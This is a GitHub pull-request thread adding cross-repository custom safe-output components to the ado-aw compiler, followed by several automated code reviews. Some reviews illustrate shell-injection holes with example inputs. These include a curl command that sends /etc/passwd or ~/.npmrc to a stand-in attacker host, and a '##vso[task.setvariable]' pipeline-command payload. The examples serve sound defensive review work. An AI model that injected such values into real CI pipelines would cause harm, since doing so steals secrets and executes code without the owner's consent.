feat(compile): reusable cross-repository custom safe-output components

[jamesadevine]

Summary

Implements #1473: reusable, cross-repository custom safe-output components. Workflow authors can publish typed, secret-bearing safe-output integrations once in a shared (optionally cross-repo, SHA-pinned) component and consume them from many workflows — flowing through the existing Agent → Detection → (approval) → privileged executor trust boundary.

Two mechanisms (gh-aw parity), one dedicated Detection-gated job per definition, both with scoped secrets:

• safe-outputs.scripts.<name> — entrypoint / native dispatch: the job runs a single ado-aw execute --custom-config (the executor owns the loop).
• safe-outputs.jobs.<name> — arbitrary ADO steps:: the job runs execute --custom-phase pre → author steps → execute --custom-phase post.

What's included

• Imports — imports: front matter (bare spec or { uses, with, endpoint }), owner/repo/path@<40-char-sha> resolver with a committed, markdown-only SHA-keyed manifest cache under .ado-aw/imports/<owner>/<repo>/<sha>/<path> (directory structure preserved — no lossy flattening), import-schema validation, and a consumer-wins front-matter merge pass (gated on non-empty imports:).
• Azure Repos is the PRIMARY manifest fetcher — the compile-time fetcher is async and routes by a typed endpoint: absent ⇒ same-org Azure Repos (ADO Git Items API via SYSTEM_ACCESSTOKEN → AZURE_DEVOPS_EXT_PAT → az), type: azure-repos ⇒ cross-org Azure Repos, type: github / type: ghe ⇒ GitHub / GitHub Enterprise via gh. Routing is fail-closed (an Azure-Repos import can never silently fall back to GitHub, and vice-versa) and the compile-time fetch source always matches the runtime checkout source. Auth/org resolve lazily on first fetch, so a fully-vendored committed cache (as used by check/inspect) does zero git/az work.
• Input substitution — import-schema inputs are substituted at compile time as {{ inputs.<key> }} — a compile-time {{ }}-family marker, deliberately not the ADO ${{ }} template delimiter (whose output would be re-processed by ADO once embedded in pipeline YAML). A $-preceded {{ is left verbatim, and any unresolved {{ inputs.* }} is a hard compile error.
• Prompt-body delivery — imported component bodies are substituted and inlined into the agent prompt at compile time (imports-first), while the consumer's own body stays a {{#runtime-import}} marker in the default mode (gh-aw parity).
• Runtime component checkout — remote components get compiler-owned, non-forgeable provenance (component-source/sha/manifest-digest + resolved repo-type/service-connection) stamped onto their tools during merge; the executor job checks the component out with the correct repository-resource type/endpoint and pins the exact commit via the fail-closed checkout-component bundle (no hardcoded refs/heads/main — ADO uses the repo default branch).
• Dynamic MCP tools — config-driven registration in the SafeOutputs MCP server (rmcp ToolRoute::new_dyn) from compile-time-generated closed, scalar-only JSON schemas (additionalProperties: false).
• Executor — one Custom_<tool> job per definition; require-approval custom tools route through ManualReview; versioned CustomExecutionRecord with compiler-owned provenance.
• compile, check, and inspect/graph all resolve imports via one shared merge helper, so the drift check and the read-only IR queries reason about the same fully-merged pipeline compile produces.
• Audit — component provenance surfaced in ado-aw audit with a local # ado-aw-metadata marker cross-check finding.
• Docs — new docs/imports.md plus updates to docs/safe-outputs.md, docs/front-matter.md, docs/network.md, and AGENTS.md.

Security / hardening (from in-branch review)

• Compiler fully owns the component-* provenance keys — author-provided values on an imported component are stripped before stamping, so a component cannot spoof its own checkout (inject a service connection or redirect the source).
• Import cache uses an injective path layout (no a/b.md vs a_b.md collision) so one component's manifest can't be silently served for another.
• Manifest cache verified against a .sha256 digest sidecar on read; nested/transitive imports rejected; path-traversal guarded on both local and remote import paths.

Intentionally deferred (documented)

Transitive/nested imports (depth ≤ 3); array/object agent inputs; Bitbucket sources.

Test plan

• cargo test --bin ado-aw — 2681 unit/bin tests green (incl. new imports, custom_tools, mcp_custom_tools, custom-job, audit-provenance, endpoint-routing, delimiter/leftover-guard, body-delivery, provenance-stamping/spoofing-guard, and the four-target acceptance matrix in compiler_tests).
• cargo clippy --all-targets — clean.
• Integration suites (compiler_tests, codemod_tests, inspect_integration, bash_lint_tests) — green.
• Rebased onto latest main; one incidental test conflict resolved in favour of main's stronger assertion (test: correct mislabelled vacuous test in src/compile/types.rs #1518).

[github-actions]

🔍 Rust PR Review

Summary: Looks good overall — solid architecture and good test coverage. Two issues worth addressing before merge.

Findings

🔒 Security Concerns

• src/compile/imports/mod.rs — resolve_local_path missing .. traversal guard

  The local-import path resolver only blocks absolute paths but does not reject .. components:

  fn resolve_local_path(base_dir: &Path, import_path: &str) -> Result<PathBuf> {
      let path = Path::new(import_path);
      if path.is_absolute() {
          anyhow::bail!(...);
      }
      Ok(base_dir.join(path)) // <- ../../sensitive.md escapes base_dir
  }

  A workflow using imports: ../../.github/some-secret-config.md (or any ..-relative path) would silently read files outside the workflow directory at compile time. This is exactly the check that flatten_import_path already applies to remote import paths:

  path.split('/').any(|segment| segment.is_empty() || segment == "." || segment == "..")

  Apply the same guard in resolve_local_path, bailing if any segment is .. or . (or the string contains \\).

⚠️ Suggestions

• src/compile/imports/mod.rs:389 — non-test .expect() in production code

  let start_level = markdown_heading(lines[start])
      .map(|(level, _)| level)
      .expect("line matched heading above"); // production path

  The invariant holds as written (the ? on position() above guarantees lines[start] is a heading), but a future refactor could silently break it and cause a panic. Prefer ok_or_else(|| anyhow::anyhow!(...)) + ? to stay consistent with the rest of the function.

• src/compile/imports/schema.rs — render_json_value does not sanitize import inputs

  String inputs substituted into the markdown body (agent system prompt) via ${{ ado.aw.import-inputs.key }} are rendered verbatim. A with: value containing ##vso[task.setvariable ...] won't inject ADO pipeline commands (the body goes to the LLM, not a bash: step), but could be used for prompt injection if a component author's published defaults or a consumer's with: values are attacker-controlled. Consider escaping or rejecting ##vso[ sequences in string inputs, or explicitly document the trust boundary (compile-time author choice only).

✅ What Looks Good

• Shell quoting is consistent: every dynamic value in generated bash steps passes through shell_quote() — no command injection surfaces found.
• Closed JSON schemas: additionalProperties: false enforced at schema generation time (custom_tools.rs) and MCP registration (mcp_custom_tools.rs). Built-in tool name collision check is good defence-in-depth.
• CustomExecutionRecord.schema_version: versioning the record format at 1 from day one is the right practice.
• Heredoc safety: the 'CUSTOM_TOOLS_JSON_EOF' and 'ADO_AW_CUSTOM_CONFIG_JSON' delimiters are single-quoted (no variable expansion) and serde_json::to_string escapes all control characters, so JSON content cannot prematurely terminate either heredoc.
• Budget enforcement: per-tool max budget enforced in both scripts and jobs paths; check_budget keyed on context_id is a clean approach.
• Provenance chain: schema_digest + manifest_digest + component_sha threaded from compile time through the executor and surfaced in ado-aw audit is a well-designed trust anchor.

Generated by Rust PR Reviewer for #1508 · 123.6 AIC · ⌖ 5.83 AIC · ⊞ 6.2K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Looks good overall — solid implementation with excellent test coverage and defense-in-depth. One genuine security gap found in the import-input substitution path.

Findings

🔒 Security Concerns

• src/compile/imports/schema.rs — render_json_value does not sanitize Array/Object nested strings

  substitute_inputs correctly calls sanitize_config for JsonValue::String values to neutralize ##vso[...] pipeline-command injection, but the Array and Object arms serialize the value with raw serde_json::to_string and no sanitization:

  JsonValue::Array(_) | JsonValue::Object(_) => {
      serde_json::to_string(value).unwrap_or_else(|_| value.to_string())
  }

  import-schema: does support array and object field types (SchemaType::Array and SchemaType::Object both exist and are reachable from parse_schema_type). A consumer that passes a with: value such as:

  with:
    tags: ["##vso[task.setvariable variable=SECRET]leak"]

  ...into a string-scalar front-matter field (e.g. bash: echo ${{ ado.aw.import-inputs.tags }}) would produce output that ADO executes as a pipeline command, bypassing the backtick-wrap neutralization. The existing test substitute_inputs_neutralizes_pipeline_commands_in_string_values only covers the direct-string case. The fix is to recursively sanitize string leaves when serializing arrays/objects, or to prohibit array/object import-schema types from being substituted into string-scalar positions.

⚠️ Suggestions

• src/compile/imports/schema.rs ~line 280 — .expect("checked is_some") in production code

  None if field.default.is_some() => {
      let default = field.default.as_ref().expect("checked is_some");

  Safe today, but brittle if surrounding match arms are ever reordered. Prefer collapsing into if let Some(default) = &field.default { ... } to remove the double-lookup entirely.

• src/execute.rs — parse_script_result_stdout requires exactly one non-empty line

  Authors who accidentally write debug output to stdout (e.g. console.log(...) before the JSON line) will see the opaque error "Custom tool 'X' must print exactly one JSON line, got N". A two-level message ("got 0 lines" vs. "got N lines — is debug output going to stdout?") would improve the authoring experience.

✅ What Looks Good

• Path-traversal guards in both local (resolve_local_path) and remote (flatten_import_path) paths are thorough and well-tested, including the ./x.md dot-segment case.
• ##vso[ injection defense for direct string imports is correctly implemented and tested.
• additionalProperties: false on generated custom-tool JSON schemas is the right closed-schema choice.
• Provenance fields (component_sha, manifest_digest, schema_digest) are compiler-owned and non-forgeable by the executor — correct trust-boundary placement.
• Tool-name collision detection against ALL_KNOWN_SAFE_OUTPUTS is a good safety net.
• Test coverage across the new modules is comprehensive.

Generated by Rust PR Reviewer for #1508 · 81 AIC · ⌖ 5.87 AIC · ⊞ 6.2K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Solid implementation with good security discipline. A few items worth addressing before merge.

Findings

🐛 Bugs / Logic Issues

• src/execute.rs — run_custom_entrypoint has no timeout. child.wait_with_output().await blocks until the child exits. A misbehaving or malicious component script (e.g., intentional sleep inf) will hang the entire Stage-3 executor until the ADO job-level timeout fires. Consider wrapping with tokio::time::timeout(Duration::from_secs(...), ...) and failing the proposal with a clear message. The job timeout is an acceptable backstop, but an explicit timeout gives a better error message and faster recovery.

• src/execute.rs — read_component_results hard-fails on schema_version != Some(1). This is correct today, but the check is a hard error with no forward-compatibility path:

  if schema_version != Some(CUSTOM_SCHEMA_VERSION as u64) {
      anyhow::bail!(...);
  }

  If CUSTOM_SCHEMA_VERSION is ever bumped, any in-flight post-phase job that receives a v1 result record (produced by an older component) will fail. Consider accepting >= CUSTOM_SCHEMA_VERSION (readers should tolerate older schema versions) or treating unknown versions as a warning.

• src/execute.rs — parse_script_result_stdout silently discards stderr output on success. When a script exits 0 but emits more than one JSON line (e.g., because it also writes a debug log line to stdout), the executor fails the proposal with "Custom tool '...' must print exactly one JSON line, got N". This is an explicit contract, but it's easy for component authors to trip over. The error message should indicate how many lines were received and show the first unexpected line (truncated + sanitized) to help authors debug.

🔒 Security Concerns

• src/compile/mod.rs — import content is merged before sanitize_config_fields runs. The merged front_matter (which now includes component front matter from SHA-pinned or local imports) is passed to sanitize_config_fields() after the merge. This ordering is correct — sanitization covers the merged result. However, the component body (markdown text) that flows into markdown_body via merge_imports is NOT covered by sanitize_config_fields (which only covers front-matter fields). The body becomes the agent prompt, not a bash step, so ##vso[ in a body string wouldn't be executed — but this asymmetry is worth an explicit comment in compile_pipeline_inner to protect future maintainers from reversing the order.

• src/compile/imports/mod.rs — local import path guard uses a string-split heuristic. The check in resolve_local_path:

  import_path.split('/').any(|segment| segment.is_empty() || segment == "." || segment == "..")

  rejects traversal via path segments, but on Windows the Path::new(import_path) join in base_dir.join(path) could normalize a path differently than the string check expects. Since the project targets ADO (Linux agents) this is low risk, but a path.components().any(|c| matches!(c, Component::ParentDir | Component::RootDir)) check after Path::new() would be platform-safe and more idiomatic.

⚠️ Suggestions

• src/compile/types.rs — FrontMatter.imports carries #[allow(dead_code)] but IS accessed (!front_matter.imports.is_empty() in compile/mod.rs). The attribute is unnecessary and misleading; removing it will help the compiler catch genuine dead code in future. The module-level #![allow(dead_code)] on imports/mod.rs and imports/schema.rs is a broader suppression — consider removing it or scoping it to specific functions once integration is confirmed complete.

• src/compile/agentic_pipeline.rs — detect_custom_proposals_step raw-scan fallback. The RAW_SCAN grep path matches "name"[[:space:]]*:[[:space:]]*"{tool}" as a regex. Since tool names are validated to ASCII alphanumeric/hyphens, there is no regex injection risk — but the fallback grep could match a tool name appearing in a proposal value (e.g., a context field whose value mentions the tool name as a string). The jq path (jq -r 'select(type=="object") | .name // empty') is correct; consider making the raw fallback match "name":"{tool}" as a whole-word pattern or documenting the known false-positive risk.

• src/compile/imports/merge.rs — COLLECTION_MAP_KEYS does not include parameters / repos / variable-groups (those are in SEQUENCE_KEYS). The constant is well-named and the distinction is clear, but safe-outputs is in COLLECTION_MAP_KEYS while the additive sub-key logic also contains a special safe-outputs guard for executor fields. A comment referencing the "consumer-wins" executor-protection rule inline in that guard would help reviewers verify the invariant at a glance.

✅ What Looks Good

• SHA-pinned imports with digest-sidecar verification (read_remote_manifest): fetching, caching, and re-verifying the SHA-256 sidecar on subsequent reads is a solid defense-in-depth against committed-cache tampering.
• Compiler-owned name tag in append_custom_proposal: agent-supplied name is silently overridden, preventing a prompt-injection path where an agent calls a custom tool with a spoofed name to hijack execution routing.
• Closed additionalProperties: false JSON schemas for custom MCP tools: correctly constrains the agent to declared inputs only.
• shell_quote usage throughout the generated bash steps (entrypoint, config path, tool names, provenance args) is consistent and correct.
• read_component_results attempted_ids guard: correctly prevents a component from injecting result records for proposals it never received.
• Error handling is consistently idiomatic (anyhow::bail!, .context(), no silent unwrap on user-facing paths).

Generated by Rust PR Reviewer for #1508 · 96 AIC · ⌖ 6.05 AIC · ⊞ 6.2K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Large, well-structured PR — the trust-boundary design is sound and error handling is thorough. Two concrete bugs worth fixing before merge, one in the cache layer and one in the repository-resource generator.

---

Findings

🐛 Bugs / Logic Issues

1. flatten_import_path cache-key collisions (src/compile/imports/mod.rs)

fn flatten_import_path(path: &str) -> Result<String> {
    Ok(path.replace('/', "_"))   // "a/b.md" → "a_b.md"
}

A remote import at path a/b.md and a flat file at path a_b.md (same owner/repo) collapse to the same .ado-aw/imports/<owner>/<repo>/<sha>/a_b.md cache entry. The second writer silently overwrites — or, if cached first, serves stale content with no error. A separator that can't appear in a path segment (e.g. %2F, or just including the SHA-scoped directory differently) would fix this. Alternatively, keep the full relative path as a sub-tree under the SHA directory (join each segment) instead of flattening.

---

2. custom_repository_resources drops the endpoint (src/compile/agentic_pipeline.rs, lines ~461-466)

resources.push(RepositoryResource::Named {
    identifier: component.alias,
    kind: "git".to_string(),
    name: format!("{owner}/{repo}"),
    r#ref: Some("refs/heads/main".to_string()),
    endpoint: None,   // ← always None
});

CustomComponentRuntime has no endpoint field, so the service-connection name from the import's endpoint: block is silently dropped. At runtime, ADO needs the service connection to authenticate the checkout of a GitHub/GHE-sourced component — without it, the executor job will fail with a 401/checkout error. The fix is to carry the endpoint through parse_custom_component_runtime → CustomComponentRuntime → custom_repository_resources and pass it into the Named variant, mirroring what build_resources does for regular repos: entries.

---

⚠️ Suggestions

3. #![allow(dead_code)] in four production modules

src/compile/imports/{mod,alias,merge,schema}.rs all carry #![allow(dead_code)], indicating the imports integration isn't fully wired into the main compile path yet. This is a maintenance trap — future refactors of these modules won't get dead-code warnings, and the suppressions may outlive their intent. Worth either removing them when the wiring lands (presumably in a follow-up) or replacing them with targeted #[allow(dead_code)] on the specific items that are intentionally deferred.

4. Merged front matter is never re-validated through FrontMatter serde (src/compile/imports/merge.rs)

After merge_resolved builds the combined Mapping and replaces consumer_fm, the result is a raw serde_yaml::Value. If a component contributes a field with the wrong type (e.g., engine: as a bare string when the consumer expects an object), the merge succeeds silently and the error surfaces much later with a confusing message that doesn't mention the import. A round-trip through serde_yaml::from_value::<FrontMatter>(merged) after the merge — or at least a note in the doc comment about the deferred validation — would produce clearer diagnostics.

---

✅ What Looks Good

• The fail-closed RoutingFetcher (AzureRepos vs GitHub, never silently cross-routed) is exactly the right design.
• validate_cache_segment + flatten_import_path together prevent path traversal in remote cache paths; the local-import guard (.., ., empty segment, backslash) is thorough.
• additionalProperties: false on generated custom-tool schemas prevents agents from submitting undeclared keys, closing a common injection surface.
• with_excluded_tools on SafeOutputsVariant cleanly prevents the standard executor from double-executing custom tool proposals.
• The digest sidecar for cached manifests (detect tampering of committed cache files) is a solid defense-in-depth measure.

Generated by Rust PR Reviewer for #1508 · 73.7 AIC · ⌖ 5.91 AIC · ⊞ 6.2K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Solid, well-architected feature with good security hardening. One logic bug in the merge layer and a few suggestions.

Findings

🐛 Bugs / Logic Issues

• src/compile/imports/merge.rs — configure_safe_output non-mapping arm bypasses executor protection

  When a consumer provides a non-mapping value for an imported safe-outputs tool (e.g. safe-outputs: scripts: notify: true or null), the (Some(slot), _) arm silently replaces the entire imported tool definition wholesale — including its executor keys (run, entrypoint, steps). The executor-redefinition guard only fires in the (Some(Mapping), Mapping) arm. This is inconsistent with the stated invariant: a consumer "may configure an imported tool but not redefine its executor."

  Concretely, safe-outputs: scripts: notify: null from a consumer would wipe the component's run: key, causing the executor job to fail at compile time with an obscure error rather than a clear conflict message. The fix is to reject non-mapping consumer values for pre-existing imported safe-output tools:

  (Some(slot), _) => {
      // Consumer attempted to replace an imported safe-output tool
      // with a non-mapping value — reject it.
      anyhow::bail!(
          "import conflict: the consumer must provide a mapping to configure \
           the imported safe-output '{sub_name}' (got a non-mapping value)."
      );
  }

  There is no test covering this case (the test suite covers the mapping-vs-mapping configure path and the executor-key rejection, but not the non-mapping consumer value case).

⚠️ Suggestions

• src/compile/agentic_pipeline.rs — heredoc terminator could theoretically be tripped by pretty-printed JSON

  write_custom_scripts_config_step writes the config JSON into the pipeline via a bash heredoc with a hardcoded terminator ADO_AW_CUSTOM_CONFIG_JSON. The JSON body comes from serde_json::to_string_pretty, and while serde_json escapes embedded newlines in string values (so the entrypoint path can't inject a real newline), a multi-key JSON object rendered by to_string_pretty could in principle coincidentally contain a line that exactly matches the indented terminator. The risk is low (the tool name is [A-Za-z0-9-]-constrained and the indentation is unusual), but using printf '%s' '...' instead of a heredoc would eliminate the class entirely.

• src/compile/imports/mod.rs / merge.rs / schema.rs — #![allow(dead_code)]

  All three new import modules carry #![allow(dead_code)] file-level attributes. If this suppresses warnings on entry points not yet wired to compile, check, or inspect, it should either be removed once wiring is confirmed complete, or replaced with targeted #[allow(dead_code)] annotations on the specific items. A blanket module-level allow can mask accidentally-unreachable code in future additions.

• src/compile/imports/mod.rs:3357 — markdown_heading only recognises # and ##

  The section extractor silently ignores ###+ headings, meaning component.md#SubDetail would error "section not found" even if ### SubDetail exists. If the restriction is intentional (only top-level and second-level sections are addressable), a comment or a better error message ("sections must be # or ## headings") would help authors diagnose the failure.

✅ What Looks Good

• Provenance stamping: Strip-then-stamp in stamp_component_provenance is the right pattern — author-provided component-* keys are cleared unconditionally before compiler-resolved values are written, so a component cannot spoof its own checkout source or service connection.
• Fail-closed routing: The AdoRepoFetcher rejects GitHub-typed specs up front (before any lazy org/auth resolution), and the RoutingFetcher is a single chokepoint. Tests confirm both sides of the guard.
• Cache path layout: Injective (a/b.md ≠ a_b.md), traversal-guarded, and verified against a .sha256 sidecar on read. The regression test for path collisions is particularly well done.
• Schema generation: additionalProperties: false on generated schemas, CUSTOM_TOOL_LIMIT = 10, and HARD_STRING_MAX_LENGTH = 8000 are solid defaults that limit agent-facing attack surface.
• shell_quote: The '...'-with-internal-'\''-escaping implementation is correct for POSIX shells and is applied consistently to all user-controlled values injected into generated bash.
• Custom tool name collision guard: Built-in tool names are blocked at schema generation time before they can shadow a standard safe-output.
• Test coverage: The four-target acceptance matrix and provenance-spoofing unit tests are thorough.

Generated by Rust PR Reviewer for #1508 · 115.7 AIC · ⌖ 5.93 AIC · ⊞ 6.2K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Solid implementation with strong security hardening — one design tradeoff worth discussing before merge.

Findings

⚠️ Suggestions

• src/compile/imports/mod.rs — read_remote_manifest: The digest sidecar is tolerated as missing ("older cache"), which means a committed cache entry without a .sha256 sidecar sibling passes through unchecked. Combined with linguist-generated collapsing cache diffs in GitHub PR review, a malicious PR could modify a cached manifest and omit the sidecar — defeating both automated tamper detection and human diff review in the same move.

  The code comment acknowledges this as a defense-in-depth boundary, but it's the only compile-time tamper guard for the committed cache. Worth considering: treat a present-but-mismatched sidecar as a hard error (already done ✅), and also treat a manifest with no sidecar whose path matches the import_ layout as a warning or hard error at compile time. The sidecar is always written by ado-aw when populating the cache, so a missing one on a file that is in the right directory layout is suspicious, not just "old".

  Alternatively, document the expectation that CI should run ado-aw check (which would re-fetch and rewrite the sidecar) after any cache modification, so the PR gate catches drift.

✅ What Looks Good

• Provenance spoofing guard (merge.rs stamp_component_provenance): All component-* keys are stripped from author-provided content before stamping compiler-resolved values. A component cannot redirect its own checkout. Well done.
• EXECUTOR_KEYS protection (overlay_consumer): Consumer overrides of steps/run/entrypoint on imported tools are rejected with a clear error — the executor defined by the component author cannot be silently replaced.
• Path traversal guards are thorough: validate_cache_segment (blocks .././\// in owner+repo), validate_import_path_segments (same for path components), resolve_local_path (blocks absolute + .././empty/\), and alias_identifier (sanitizes to alphanumeric+_ — so checkout_dir can never contain traversal characters). All the right places.
• CommitSha newtype enforces 40-char hex at deserialization — no branch/tag refs accepted for remote imports.
• Unresolved {{ inputs.* }} is a hard compile error (schema.rs) — leftover markers cannot silently propagate into the pipeline YAML or agent prompt.
• Transitive import rejection is enforced before any merge work begins.
• Checkout bundle (checkout-component/index.ts) verifies detached HEAD equals the pinned SHA after fetch — the runtime component checkout cannot drift.

Warning

Firewall blocked 1 domain

The following domain was blocked by the firewall during workflow execution:

• spsprodeus21.vssps.visualstudio.com

To allow these domains, add them to the network.allowed list in your workflow frontmatter:

network:
  allowed:
    - defaults
    - "spsprodeus21.vssps.visualstudio.com"

See Network Configuration for more information.

Generated by Rust PR Reviewer for #1508 · 148.9 AIC · ⌖ 5.73 AIC · ⊞ 6.2K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Well-architected feature with strong security fundamentals — a few concerns worth addressing before merge.

---

Findings

🔒 Security Concerns

• src/compile/imports/schema.rs — substitute_inputs into executor fields without shell-quoting

  When a component exposes an {{ inputs.x }} placeholder inside its run:/entrypoint: field, a consumer's with: value can inject arbitrary shell metacharacters that run in the Stage 3 privileged executor. For example:

  # component.md
  import-schema:
    script: { type: string }
  safe-outputs:
    scripts:
      my-tool:
        run: node {{ inputs.script }}

  A consumer providing with: { script: "evil.js && curl (attacker.com/redacted) ~/.npmrc)" } would produce sh -c "node evil.js && curl ..." in Stage 3.

  safe_outputs is intentionally excluded from sanitize_config_fields (comment in types.rs says "sanitized at Stage 3 execution via get_tool_config()"), but load_custom_scripts_config in execute.rs deserializes CustomScriptToolConfig with no sanitization before passing entrypoint to sh -c. The EXECUTOR_KEYS consumer-redefine check in merge.rs prevents wholesale key overrides but doesn't block this substitution path.

  Suggested mitigations (in order of preference):

  1. Emit a hard compile error when any {{ inputs.* }} placeholder resolves inside an executor key (run, entrypoint) — force component authors to use AW_PROPOSAL env var passing instead.
  2. Or: shell-quote the substituted value at the point it enters an executor-key position (requires context-aware substitution).
  3. At minimum, add a documentation warning in docs/imports.md flagging this as a security anti-pattern.

🐛 Bugs / Logic Issues

• src/compile/imports/schema.rs:find_input_placeholder_leak — silently misses unclosed {{ inputs.

  let relative_end = text[expression_start..].find("}}")?;  // early-exits with None if no closing }}

  If an author writes a typo like {{ inputs.key (no closing }}), substitute_inputs leaves it verbatim (correctly), but find_input_placeholder_leak exits early returning None instead of flagging it as an error. The two functions are inconsistent: one passes through, the other ignores. In practice a missing }} is likely a typo; flagging it — or at least making find_input_placeholder_leak continue scanning past it instead of aborting — would catch more author mistakes. Change ? to continue + track unclosed markers.

⚠️ Suggestions

• src/mcp.rs:452 — custom_output_path() is an opaque wrapper

  custom_output_path() simply delegates to safe_output_path() with a different name, suggesting different semantics to callers in mcp_custom_tools.rs. Either remove the wrapper (use safe_output_path() directly) or add a // same path intentionally comment explaining the design.

• src/compile/types.rs — AzureReposCrossOrg.org URL not validated

  The org field accepts any non-empty string and is used directly as a URL base for ADO REST API calls. A URL format check (starts_with("https://") and basic authority validation) would be more defensive and give clearer errors to authors who accidentally paste a project URL instead of the collection URL.

✅ What Looks Good

• The name tag in custom proposals is always compiler-owned (inserted last in append_custom_proposal, overriding any agent-provided value) — prevents agent spoofing.
• Injective cache path layout with per-file SHA-256 digest sidecars is a solid defense against manifest substitution attacks.
• Fail-closed endpoint routing (Azure Repos fetcher explicitly rejects GitHub imports with an internal routing error bail) is the right design.
• EXECUTOR_KEYS list and the consumer-redefine hard error in merge_map_key correctly enforce the executor ownership boundary.
• validate_repo_endpoint at compile time closes a real gap — type: github without endpoint: was previously silently generating invalid ADO YAML.
• Budget enforcement via per-tool (executed, max) counters in execute_custom_scripts is clean and correctly initialized.
• The MAX_IMPORTS_PER_WORKFLOW = 20 / MAX_MANIFEST_BYTES = 256KB caps and the nested/transitive import rejection are all the right guardrails.

Generated by Rust PR Reviewer for #1508 · 135.4 AIC · ⌖ 5.99 AIC · ⊞ 6.2K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Looks good overall — the import resolver, SHA-pinning, cache integrity, provenance stamping, and path-traversal guards are all solid. One security finding worth addressing before merge.

---

Findings

🔒 Security Concerns

src/compile/imports/schema.rs:202 + src/execute.rs:625 — Consumer can inject shell commands into Stage 3 via {{ inputs.* }} in run: fields

apply_import_inputs calls substitute_front_matter over the entire component front matter tree (line 202), which includes safe-outputs.scripts.*.run (and safe-outputs.scripts.*.entrypoint). At Stage 3, run_custom_entrypoint passes the resulting entrypoint string directly to sh -c / cmd /C.

If a component author uses an input placeholder in their run: field — which is plausible for reusable components — a consumer can provide a type: string input (which has no content restriction in validate_value) containing shell metacharacters and execute arbitrary commands in the write-capable SafeOutputs stage.

# component.md — published and SHA-pinned
safe-outputs:
  scripts:
    notify:
      run: "node notify.js {{ inputs.event_type }}"
      inputs:
        event_type: { type: string, required: true }

# consumer workflow
imports:
  - uses: org/shared-tools/component.md@<sha>
    with:
      event_type: "x; curl attacker.com/exfil?t=$(cat /etc/passwd) #"

Stage 3 shell evaluates node notify.js x; curl ... with the ADO write-capable token in scope.

Suggested fix: Exclude safe-outputs.scripts.*/safe-outputs.jobs.* sub-trees from the substitute_front_matter pass, or add a post-substitution check that rejects shell metacharacters (; & | > < $ etc.) in the resolved run: and entrypoint: values. The least footgun-prone approach: document run: as a static field that intentionally does not participate in input substitution, and enforce this with a pre-substitution guard that bails if run: contains any {{ inputs.* }} placeholder.

---

✅ What Looks Good

• Cache tamper detection: SHA-256 sidecar is written on fetch and verified before use (with a clear error message directing authors to delete the cache to re-fetch). Good defence-in-depth.
• Path traversal: Both local (.., ., empty segments, backslash) and remote import paths (validate_cache_segment, validate_import_path_segments) are guarded with explicit allow-list segment checks. Correct.
• SHA pinning: Uses CommitSha validated newtype (src/secure.rs) enforcing 40-char hex at parse time — the git fetch API receives this value and ADO's checkout uses the pinned SHA.
• Transitive import rejection: Fetched components that themselves declare imports: cause a hard compile error. The error message is actionable ("flatten the component or inline the nested import").
• Provenance spoofing guard: merge.rs strips author-provided component-source/component-sha/manifest-digest/schema-digest keys before stamping compiler-owned values, so a component cannot redirect its own checkout.
• Closed MCP schemas: custom_tools.rs generates additionalProperties: false schemas with scalar-only inputs (array/object types are explicitly rejected). The tool-name collision check against built-in safe outputs is a clean safety net.
• Fail-closed auth routing: Azure Repos vs GitHub endpoint routing is typed and explicit — there is no silent fallback path between the two endpoint types. The lazy-auth design means a fully-vendored cache doesn't do any network auth work.

Generated by Rust PR Reviewer for #1508 · 216.9 AIC · ⌖ 5.91 AIC · ⊞ 6.3K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Solid implementation with one concrete bug and a few worth-noting items. The security architecture (fail-closed routing, SHA newtypes, digest sidecars, provenance stamping) is well-thought-out.

---

Findings

🐛 Bugs / Logic Issues

resolve_local_path rejects the ./ prefix documented in both new doc files

src/compile/imports/mod.rs — resolve_local_path splits the path on / and rejects any segment equal to ".":

|| import_path
    .split('/')
    .any(|segment| segment.is_empty() || segment == "." || segment == "..")

./components/local-guidance.md splits to [".", "components", "local-guidance.md"] and the leading . triggers the guard, producing an error. The check is correct for interior . segments, but a leading ./ is conventional relative-path notation and is shown as valid syntax in both docs/imports.md and docs/front-matter.md.

The test suite only exercises bare paths ("component.md", not "./component.md"), so this is untested.

Fix: in parse_source (or resolve_local_path), strip a leading ./ before the segment check:

let path = base.strip_prefix("./").unwrap_or(base);
return Ok(ImportSource::Local { path: path.to_string(), ... });

---

⚠️ Suggestions

• GhCliFetcher — spec.path is not URL-encoded (src/compile/imports/mod.rs). The path is interpolated directly into the gh api route string: repos/{owner}/{repo}/contents/{path}?ref={sha}. Paths validated by validate_import_path_segments only reject .././empty/backslash segments — a path containing %, +, or spaces would produce a malformed URL. In practice component paths are filesystem-like names, so this is low practical risk, but explicit percent-encoding of the path component would be defensive. The sha and owner/repo parts are already safe (hex-only SHA via CommitSha, identifier characters via validate_cache_segment).

• execute_custom_pre — proposals file written world-readable (src/execute.rs). The --proposals-out file carries serialized NDJSON proposals (including any context strings the agent wrote). No explicit file-mode restriction is applied when writing it. On most ADO agents this is a non-issue (single-user pool), but worth noting for shared-agent environments.

---

✅ What Looks Good

• Fail-closed fetcher routing: the RoutingFetcher dispatch and the AdoRepoFetcher's internal guard both independently reject cross-protocol confusion — an Azure-Repos-intended import can't silently fall back to GitHub and vice versa. The guard is also unit-testable via route_endpoint().
• SHA as a validated newtype: ParsedImportSpec.sha is crate::secure::CommitSha, so the 40-hex constraint is enforced at parse time and the SHA component of the cache path can't be tampered with.
• Cache integrity via .sha256 sidecar: tamper detection on the committed cache is a nice defense-in-depth. The PanicFetcher test helper that asserts the fetcher is never called on a cache hit is a good pattern.
• additionalProperties: false on generated MCP schemas: custom tool schemas in custom_tools.rs are closed — agents can't pass undeclared fields, which prevents schema-bypass attacks.
• import-schema leftover-placeholder guard is fail-closed and correctly catches both {{ inputs.x }} (ours) and ${{ inputs.x }} (ADO delimiter) forms separately, with clear error messages.
• Alias collision resistance in alias.rs: import_<sanitized-owner>_<sanitized-repo>_<sha256-prefix> ensures a-b/c and a_b/c don't collide after sanitization. Regression test is included.
• Injective cache layout: the test colliding_flattened_paths_get_distinct_cache_files directly guards the path-collision fix described in the cache_path comment.

Generated by Rust PR Reviewer for #1508 · 102.8 AIC · ⌖ 5.93 AIC · ⊞ 6.3K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Solid, well-structured implementation with strong security fundamentals. A few specific issues worth addressing before merge.

Findings

